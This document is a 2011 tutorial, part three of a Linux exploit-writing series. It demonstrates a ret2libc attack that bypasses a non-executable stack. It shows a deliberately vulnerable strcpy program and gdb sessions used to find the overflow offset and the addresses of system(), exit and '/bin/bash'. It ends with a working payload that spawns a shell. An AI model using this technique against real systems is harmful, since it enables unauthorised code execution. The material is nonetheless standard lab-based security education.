Linux exploit development part 3 - ret2libc

NOTE: In case you have missed part 1 and 2 you can check them out here:

Linux exploit writing tutorial part 1 - Stack overflow.pdf
Linux Exploit Writing Tutorial Pt 2 - Stack Overflow ASLR bypass Using ret2reg.pdf

If you remember from part 2, when compiling the vulnerable app we have used the flag -z execstack with gcc which gives us an executable stack, but in these days most operating systems use by default non-exec stacks.
Also our previous exploits were made on Backtrack 4 R2, this time we are going to make the exploit in a Debian Squeeze.

Required knowledge:

- Understanding concept behind buffer overflows
- ASM and C/C++ knowledge
- General terms used in exploit writing
- GDB knowledge
- Exploiting techniques

If you continue reading this paper without possessing the required knowledge I can not guarantee that it will be beneficial for you.

Author: sickness
Blog: http://sickness.tor.hu
Date: 06.04.2011

What are non-exec stacks?

In general, the non-exec prevents some stack (or heap) memory areas from being executed. It also may prevent the executable memory from being writable, which could prevent some buffer overflows from working. An example of this would be a buffer overflow where you inject and execute code.

For more information about the non-exec you can take a look over here.

Since we can not inject nor execute our code, what do we do now? To bypass this protection feature, we will
use a technique called "ret2libc" (Return to libc).

How does it work?

As you have probably guessed by now, libc will be very helpful in this technique, but why exactly?
The overflows you have seen in my previous tutorial have the following structure:

################################
JUNK + NOP sled + SC (Shell code) + EIP (overwrite with a JMP/CALL instruction to a register that points in our JUNK/NOP sled)
################################

This will not work now because of the non-exec stack. A jmp on the stack will result in a segfault. Here is where libc comes in: instead of overwriting EIP with an instruction, we actually overwrite EIP with functions from within libc library, followed by the required function arguments.

NOTE: You can actually make the code return anywhere you want to, libc is just the most common target because we always find it linked to the program and it provides the most useful calls.

Now that you understand the “big picture”, we are going to take it step by step and demonstrate this technique.

We have the following vulnerable application:

```
################################
#include <stdio.h>
#include <string.h>

void evil(char* input)
{
	char buffer[500];
	strcpy(buffer, input); // Vulnerable function!
	printf("Buffer stored!\n");
	printf("Buffer is: %s\n\n",input);
}

int main(int argc, char** argv)
{
	evil(argv[1]);
	return 0;
}
################################
```

In the previous tutorial, we compiled the app with the -z execstack flag in gcc. This time we will leave it default (noexec).

```
root@debian:/home/sickness/Desktop# gcc -ggdb -fno-stack-protector -o vulnerable
 vulnerable.c
root@debian:/home/sickness/Desktop# 
```

Figure 1.

We quickly attach the vulnerable program to gdb and set breakpoints at “call evil”, and “ret” from the “evil” function to calculate the needed offset for our payload.

```
(gdb) disas main
Dump of assembler code for function main:
0x08048474 <main+0>:    push   %ebp
0x08048475 <main+1>:    mov    %esp,%ebp
0x08048477 <main+3>:    and    $0xfffffff0,%esp
0x0804847a <main+6>:    sub    $0x10,%esp
0x0804847d <main+9>:    mov    0xc(%ebp),%eax
0x08048480 <main+12>:   add    $0x4,%eax
0x08048483 <main+15>:   mov    (%eax),%eax
0x08048485 <main+17>:   mov    %eax,(%esp)
0x08048488 <main+20>:   call   0x8048434 <evil>
0x0804848d <main+25>:   mov    $0x0,%eax
0x08048492 <main+30>:   leave
0x08048493 <main+31>:   ret
End of assembler dump.
(gdb) b *0x08048488
Note: breakpoint 1 also set at pc 0x8048488.
Breakpoint 2 at 0x8048488: file vulnerable.c, line 14.
(gdb)
```

Figure 2.

```
(gdb) disas evil
Dump of assembler code for function evil:
0x08048434 <evil+0>:    push   %ebp
0x08048435 <evil+1>:    mov    %esp,%ebp
0x08048437 <evil+3>:    sub    $0x218,%esp
0x0804843d <evil+9>:    mov    0x8(%ebp),%eax
0x08048440 <evil+12>:   mov    %eax,0x4(%esp)
0x08048444 <evil+16>:   lea    -0x1fc(%ebp),%eax
0x0804844a <evil+22>:   mov    %eax,(%esp)
0x0804844d <evil+25>:   call   0x8048344 <strcpy@plt>
0x08048452 <evil+30>:   movl   $0x8048560,(%esp)
0x08048459 <evil+37>:   call   0x8048364 <puts@plt>
0x0804845e <evil+42>:   mov    $0x804856f,%eax
0x08048463 <evil+47>:   mov    0x8(%ebp),%edx
0x08048466 <evil+50>:   mov    %edx,0x4(%esp)
0x0804846a <evil+54>:   mov    %eax,(%esp)
0x0804846d <evil+57>:   call   0x8048354 <printf@plt>
0x08048472 <evil+62>:   leave
0x08048473 <evil+63>:   ret
End of assembler dump.
(gdb) b * 0x08048473
Breakpoint 3 at 0x8048473: file vulnerable.c, line 10.
(gdb)
```

Figure 3.

Author: sickness
Blog: http://sickness.tor.hu
Date: 06.04.2011

Now that we have placed our breakpoints, let's send some junk to the app and see what happens.

```
(gdb) run $(python -c 'print "\x41" * 508')
Starting program: /home/sickness/Desktop/vulnerable $(python -c 'print "\x4
1" * 508')

Breakpoint 1, 0x08048488 in main (argc=2, argv=0xbffff3e4)
    at vulnerable.c:14
14              evil(argv[1]);
(gdb) stepi
evil (input=0xbffff552 'A' <repeats 200 times>...) at vulnerable.c:5
5       {
(gdb) info registers esp
esp            0xbffff31c       0xbffff31c
(gdb) x/30x 0xbffff31c - 32
0xbffff2fc:     0x08048310      0xb7ff1040      0x0804966c      0xbffff338
0xbffff30c:     0x080484c9      0xb7fcf304      0xb7fceff4      0x080484b0
0xbffff31c:     0x0804848d      0xbffff552      0xb7ff1040      0x080484bb
0xbffff32c:     0xb7fceff4      0x080484b0      0x00000000      0xbffff3b8
0xbffff33c:     0xb7ea3c76      0x00000002      0xbffff3e4      0xbffff3f0
0xbffff34c:     0xb7fe1858      0xbffff3a0      0xffffffff      0xb7ffeff4
0xbffff35c:     0x08048268      0x00000001      0xbffff3a0      0xb7ff0626
0xbffff36c:     0xb7fffab0      0xb7fe1b48
(gdb)
```

Figure 4.

```
(gdb) c
Continuing.
Buffer stored!
Buffer is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 2, 0x08048473 in evil (
    input=0x41414141 <Address 0x41414141 out of bounds>)
    at vulnerable.c:10
10      }
(gdb) x/30x 0xbffff31c - 32
0xbffff2fc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff30c:     0x41414141      0x41414141      0x41414141      0xbffff300
0xbffff31c:     0x0804848d      0xbffff552      0xb7ff1040      0x080484bb
0xbffff32c:     0xb7fceff4      0x080484b0      0x00000000      0xbffff3b8
0xbffff33c:     0xb7ea3c76      0x00000002      0xbffff3e4      0xbffff3f0
0xbffff34c:     0xb7fe1858      0xbffff3a0      0xffffffff      0xb7ffeff4
0xbffff35c:     0x08048268      0x00000001      0xbffff3a0      0xb7ff0626
0xbffff36c:     0xb7fffab0      0xb7fe1b48
(gdb)
```

Figure 5.

So we see that we need 8 more bytes for an overwrite, which would result in 516 bytes. (This means that our junk will be 512 bytes, and our libc function address will fill the remaining 4 bytes)
Now let's see if libc is usable or not by issuing the following command inside GDB.

############################
maint info sections ALLOBJ
############################

```
  Object file: /lib/i686/cmov/libc.so.6
    0xb7e8d174->0xb7e8d198 at 0x00000174: .note.gnu.build-id ALLOC LOAD RE
ADONLY DATA HAS_CONTENTS
    0xb7e8d198->0xb7e8d1b8 at 0x00000198: .note.ABI-tag ALLOC LOAD READONL
Y DATA HAS_CONTENTS
    0xb7e8d1b8->0xb7e90dc4 at 0x000001b8: .gnu.hash ALLOC LOAD READONLY DA
TA HAS_CONTENTS
    0xb7e90dc4->0xb7e99f14 at 0x00003dc4: .dynsym ALLOC LOAD READONLY DATA
 HAS_CONTENTS
    0xb7e99f14->0xb7e9f97a at 0x0000cf14: .dynstr ALLOC LOAD READONLY DATA
 HAS_CONTENTS
    0xb7e9f97a->0xb7ea0ba4 at 0x0001297a: .gnu.version ALLOC LOAD READONLY
 DATA HAS_CONTENTS
    0xb7ea0ba4->0xb7ea0f34 at 0x00013ba4: .gnu.version_d ALLOC LOAD READON
LY DATA HAS_CONTENTS
    0xb7ea0f34->0xb7ea0f74 at 0x00013f34: .gnu.version_r ALLOC LOAD READON
LY DATA HAS_CONTENTS
    0xb7ea0f74->0xb7ea397c at 0x00013f74: .rel.dyn ALLOC LOAD READONLY DAT
A HAS_CONTENTS
    0xb7ea397c->0xb7ea39bc at 0x0001697c: .rel.plt ALLOC LOAD READONLY DAT
A HAS_CONTENTS
    0xb7ea39bc->0xb7ea3a4c at 0x000169bc: .plt ALLOC LOAD READONLY CODE HA
S_CONTENTS
    0xb7ea3a50->0xb7f9900c at 0x00016a50: .text ALLOC LOAD READONLY CODE H
A---Type <return> to continue, or q <return> to quit---
```

Figure 6.

We notice that we do not have any NULL bytes so libc is usable.

What do we have and what else do we need?

If you remember we have the offset that we need which is 516. In the beginning of this paper, I have explained that we are not going to overwrite EIP with a JMP/CALL instruction because that will result in a segfault. Instead, we will try to overwrite it with a function from libc, then continue calling different functions and passing the needed arguments.

Here is a list of all libc functions as well as details about each one.
We are going to focus on the following functions:

- system(): This function executes the command or program specified as an argument.
- exit(): As you probably have guessed this function exits the program.

So we need to find out the address of system(), exit(), but we also need to find the address of "/bin/bash" to place it as an argument for system().
If we try to build a skeleton for our exploit, this is what it would look like:

```
################################
JUNK * 512 + address to system() + address to exit() + address to /bin/bash
################################
```

Let's find out the addresses we need in order to craft a working exploit.

```
(gdb) print system
$7 = {<text variable, no debug info>} 0xb7ec6180 <system>
(gdb)
```

Figure 7.

The address if system() seems to be valid, let's move on.

```
(gdb) print exit
$9 = {<text variable, no debug info>} 0xb7ebc300 <exit>
(gdb)
```

Figure 8.

This address seems to contain a null byte, so it won't be usable. The exit() function is not really mandatory, the exploit will work without it but in this case let's play along, if we find our selvs in a situation where for example the exit function contains a null byte we could find a quick replacement for it similar to exit+offset which will work just fine.
If we take a look at the address 0xb7ebc304 we can see that we have <exit+4> which will work just fine.

Author: sickness
Blog: http://sickness.tor.hu
Date: 06.04.2011

```
(gdb) x/s 0xb7ebc304
0xb7ebc304 <exit+4>:     "\350\246w\376\377\201\303\353,\021"
(gdb)
```

Figure 9.

Now for the /bin/bash

```
(gdb) x/4000s $esp
```

Figure 10.

Now we try to keep an eye open for /bin/bash.

```
0xbffff514:      ""
0xbffff515:      ""
0xbffff516:      ""
0xbffff517:      ""
0xbffff518:      ""
0xbffff519:      ""
0xbffff51a:      ""
0xbffff51b:      "\216x\237l\t\305\070ݐ\267\350JG\\mwi686"
0xbffff530:      "/home/sickness/Desktop/vulnerable"
0xbffff552:      'A' <repeats 200 times>...
0xbffff61a:      'A' <repeats 200 times>...
0xbffff6e2:      'A' <repeats 108 times>
0xbffff74f:      "SSH_AGENT_PID=2199"
0xbffff762:      "TERM=xterm"
0xbffff76d:      "SHELL=/bin/bash"
0xbffff77d:      "XDG_SESSION_COOKIE=83bc8c03b2c8545d61376ad10000000f
101645.290365-1324824419"
0xbffff7ce:      "WINDOWID=41943043"
0xbffff7e0:      "GNOME_KEYRING_CONTROL=/tmp/keyring-pTUPkY"
0xbffff80a:      "GTK_MODULES=canberra-gtk-module"
0xbffff82a:      "USER=root"
```

Figure 11.

Now we just have to change the address so that we will have only "/bin/bash" in order to obtain a valid argument for system().

```
(gdb) x/s 0xbffff76d
0xbffff76d:      "SHELL=/bin/bash"
(gdb) x/s 0xbffff76d + 3
0xbffff770:      "LL=/bin/bash"
(gdb) x/s 0xbffff76d + 6
0xbffff773:      "/bin/bash"
(gdb)
```

Figure 12.

Author: sickness
Blog: http://sickness.tor.hu
Date: 06.04.2011

We have found all the addresses that we need, let's move on to the fun part!
Our exploit should look like this now:

################################
JUNK * 512 + "\x80\x61\xec\xb7" + "\x04\xc3\xeb\xb7" + "\x73\xf7\xff\xbf"
################################

Let's try it and see what happens!

```
(gdb) run $(python -c 'print "\x41" * 512 + "\x80\x61\xec\xb7"+"\x04\xc3\x
eb\xb7"+"\x73\xf7\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/sickness/Desktop/vulnerable $(python -c 'print "\x
41" * 512 + "\x80\x61\xec\xb7"+"\x04\xc3\xeb\xb7"+"\x73\xf7\xff\xbf"')
Buffer stored!
Buffer is: ��w�����,

root@debian:/home/sickness/Desktop# ls
vulnerable  vulnerable.c
root@debian:/home/sickness/Desktop#
```

Figure 13.

BOOM! We have a shell!

Author: sickness
Blog: http://sickness.tor.hu
Date: 06.04.2011

Thanks go to:
1. Contributors: Alexandre Maloteaux (troulouliou) and jduck for their grate help!
2. Reviewers: g0tmi1k, jtm, Dinos, _sinn3r, chap0, wishi and corelanc0d3r for taking the time to review my paper!

Author: sickness
Blog: http://sickness.tor.hu
Date: 06.04.2011